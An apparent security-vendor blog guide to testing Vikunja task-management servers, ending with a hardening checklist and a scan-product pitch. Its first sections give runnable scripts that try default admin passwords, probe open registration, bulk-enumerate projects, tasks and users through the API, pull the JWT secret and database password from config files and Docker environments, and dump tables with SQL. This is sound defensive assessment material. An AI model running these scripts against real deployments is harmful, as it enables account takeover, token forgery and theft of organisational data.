Task Management Security Testing

Vikunja Security Testing: Default Credentials, API Key, Database, and .env JWT_SECRET

📅 July 3, 2026 ⏱ 11 min read 🏷 Vikunja, Task Management Security, JWT_SECRET, Project Data, API Token, PostgreSQL, Team Enumeration, Organizational Data

Vikunja is a widely deployed open-source task management platform (Todoist/TickTick alternative) used for team project management — it stores all organizational projects, tasks, assignees, due dates, and comments. Key assessment areas: VIKUNJA_SERVICE_JWTSECRET signs authentication tokens; the REST API provides complete access to all team projects and tasks; personal API tokens allow programmatic access; user registration may be open by default; and PostgreSQL/MySQL/SQLite stores all organizational work data. Vikunja compromise exposes organizational project plans, internal deadlines, staff assignments, and business-sensitive task descriptions. This guide covers systematic Vikunja security assessment.

Authentication and API Token Testing
API Project, Task, and Team Enumeration
JWT_SECRET and Database Extraction
Vikunja Security Hardening

Authentication and API Token Testing

# Vikunja — authentication and API token testing
VIKUNJA_URL="https://vikunja.example.com"

# Vikunja login
AUTH=$(curl -s -X POST "${VIKUNJA_URL}/api/v1/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin","long_token":true}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t=d.get('token','')
print(t[:50] if t else 'FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "admin/admin: ${TOKEN}"

# Try common credentials
for CRED in "admin:admin" "admin:vikunja" "vikunja:vikunja" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -X POST "${VIKUNJA_URL}/api/v1/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\",\"long_token\":true}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('token') else 'FAIL')" 2>/dev/null)
  echo "${USER}/${PASS}: ${STATUS}"
done

# Check if registration is open (allows creating accounts without invite)
curl -s -X POST "${VIKUNJA_URL}/api/v1/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser123","email":"test@evil.com","password":"TestPass123!"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Success: returns user object; Disabled: error message
print(f'Register: {str(d)[:100]}')
" 2>/dev/null

# API token access (generated in user settings)
API_TOKEN="your-vikunja-api-token"
curl -s "${VIKUNJA_URL}/api/v1/projects" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d if isinstance(d,list) else []
print(f'Projects: {len(projects)}')
" 2>/dev/null

API Project, Task, and Team Enumeration

# Vikunja API — project, task, and team enumeration
VIKUNJA_URL="https://vikunja.example.com"
TOKEN="your-vikunja-jwt-token"

# Get all projects (namespaces/workspaces)
curl -s "${VIKUNJA_URL}/api/v1/projects" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d if isinstance(d,list) else []
print(f'Projects: {len(projects)}')
for p in projects[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"title\")} owner={p.get(\"owner\",{}).get(\"name\",\"\")} isArchived={p.get(\"is_archived\")}')
" 2>/dev/null

# Get all tasks across ALL projects — bulk enumeration
curl -s "${VIKUNJA_URL}/api/v1/tasks/all?page=1&per_page=100" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
tasks = d if isinstance(d,list) else []
print(f'Tasks: {len(tasks)}')
for t in tasks[:10]:
    title = t.get('title','')[:50]
    desc = str(t.get('description',''))[:30]
    due = t.get('due_date','')
    assignees = [a.get('name','') for a in t.get('assignees',[])]
    print(f'  [{t.get(\"id\")}] {title} due={due[:10] if due else \"\"} assignees={assignees}')
    if desc:
        print(f'    desc: {desc}')
" 2>/dev/null

# Get tasks in specific project
PROJECT_ID="1"
curl -s "${VIKUNJA_URL}/api/v1/projects/${PROJECT_ID}/tasks?page=1&per_page=100" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
tasks = d if isinstance(d,list) else []
print(f'Project {\"${PROJECT_ID}\"} tasks: {len(tasks)}')
for t in tasks[:10]:
    print(f'  [{t.get(\"id\")}] {t.get(\"title\",\"\")[:60]} done={t.get(\"done\")}')
" 2>/dev/null

# Enumerate all users on the platform
curl -s "${VIKUNJA_URL}/api/v1/users/list?s=" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d if isinstance(d,list) else []
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"name\")} {u.get(\"username\")} email={u.get(\"email\",\"\")}')
" 2>/dev/null

JWT_SECRET and Database Extraction

# Vikunja JWT_SECRET and database credential extraction

# config.yml — Vikunja configuration
cat /app/config.yml 2>/dev/null | grep -A5 -E "service:|database:|auth:"
# service.JWTSecret — JWT signing key
# database.user/password — database credentials
# auth.local.enabled / auth.openid settings

# Docker environment variables
docker inspect vikunja 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['VIKUNJA','JWT','DB','DATABASE','PASSWORD','SECRET']):
            print(e)
" 2>/dev/null
# VIKUNJA_SERVICE_JWTSECRET — JWT signing key
# VIKUNJA_DATABASE_PASSWORD — database password
# VIKUNJA_DATABASE_TYPE — sqlite/mysql/postgres

# PostgreSQL — all organizational data
DB_URL="postgresql://vikunja:PASSWORD@localhost/vikunja"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users
SELECT id, username, email, name, is_admin,
       created, updated
FROM users
ORDER BY is_admin DESC, created ASC
LIMIT 20;
EOF

# All projects
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT p.id, p.title, p.description,
       u.username as owner, p.is_archived,
       p.created, p.updated
FROM projects p
JOIN users u ON p.owner_id = u.id
ORDER BY p.updated DESC
LIMIT 30;
EOF

# All tasks with assignees
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT t.id, t.title, t.description,
       t.due_date, t.done, t.priority,
       u.username as created_by,
       p.title as project
FROM tasks t
JOIN users u ON t.created_by_id = u.id
JOIN projects p ON t.project_id = p.id
ORDER BY t.updated DESC
LIMIT 30;
EOF

# API tokens (stored hashed but check for plaintext entries)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, title, right_admin, right_read,
       expiry_date, created_by_id
FROM api_tokens
ORDER BY expiry_date DESC
LIMIT 10;
EOF

Vikunja Security Hardening

Vikunja Security Hardening Checklist:

Protect VIKUNJA_SERVICE_JWTSECRET and generate a cryptographically strong value — the JWT secret signs all authentication tokens; a compromised secret allows forging valid tokens for any user including administrators without knowing their password; generate a strong secret with `openssl rand -hex 64`; store it in environment variables not in config.yml which may be committed to version control; rotate immediately if compromised — all existing sessions become invalid upon rotation; monitor for unusual authentication patterns that might indicate a forged token being used (access from unexpected IPs, unusual access times, bulk data enumeration)
Disable user registration or implement invite-only registration — Vikunja supports open registration by default (VIKUNJA_SERVICE_ENABLEREGISTRATION); on internal deployments, disable registration to prevent unauthorized account creation; use OIDC/LDAP integration for authentication when available to leverage existing identity infrastructure; if registration must remain open, implement email domain restrictions; audit registered users regularly and deactivate accounts for departed team members; an attacker who registers can access any shared projects they are added to and enumerate platform users via the users search endpoint
Implement project-level access controls and audit team memberships — Vikunja projects can be shared with individual users or entire teams with varying permission levels; audit all project sharing configurations to ensure only authorized users have access; remove departed team members from all projects promptly; be aware that admin-level JWT tokens (or forged tokens via compromised JWT_SECRET) can access ALL projects regardless of sharing settings; implement the least-privilege principle by granting view-only access where write access is not required
Secure database credentials and implement network isolation — database credentials in config.yml or environment variables provide direct access to all organizational task data; protect these with appropriate file permissions (config.yml: 600) and container secret management; restrict database network access to the Vikunja application container only; implement PostgreSQL/MySQL authentication with strong unique passwords separate from any other service; regular database backups should be encrypted; consider that the tasks and projects tables contain organizational work plans that may be commercially sensitive
Implement API token management and monitor for unauthorized access — Vikunja API tokens provide persistent access without session expiration; implement token rotation policies; revoke tokens for departed team members; monitor API access logs for bulk enumeration of tasks or projects; the GET /api/v1/tasks/all endpoint returns all tasks the authenticated user can see across all projects — this is useful for legitimate integrations but can also enable rapid bulk exfiltration of all organizational work data; implement rate limiting on the API

Security Test	Method	Risk
VIKUNJA_SERVICE_JWTSECRET extraction and token forgery	Read config.yml or VIKUNJA_SERVICE_JWTSECRET env var — forge valid JWT tokens as any user including admin; full access to all projects and tasks without credentials	Critical
Organizational task and project bulk enumeration	GET /api/v1/tasks/all — all tasks across all accessible projects including titles, descriptions, assignees, due dates, priorities; complete organizational work plan disclosure	High
Open registration account creation	POST /api/v1/register — create accounts if registration not disabled; access any shared projects; enumerate platform users; potential privilege escalation via team membership	Medium
PostgreSQL task and project data extraction	SELECT from tasks JOIN projects — all task details including confidential descriptions; full organizational work history accessible with database credentials	High
User enumeration via search API	GET /api/v1/users/list?s= — enumerate all platform users including usernames and email addresses; useful for targeted phishing against organizational team members	Medium

Automate Vikunja Security Testing

Ironimo tests Vikunja deployments for VIKUNJA_SERVICE_JWTSECRET extraction and JWT token forgery, open registration and account creation, organizational project and task bulk enumeration, user enumeration via search API, PostgreSQL task and project complete data extraction, admin credential brute force, API token database extraction, OIDC/LDAP configuration credential exposure, Docker environment variable JWT_SECRET exposure, and project sharing misconfiguration assessment.

Start free scan

Table of Contents

Authentication and API Token Testing

API Project, Task, and Team Enumeration

JWT_SECRET and Database Extraction

Vikunja Security Hardening

Automate Vikunja Security Testing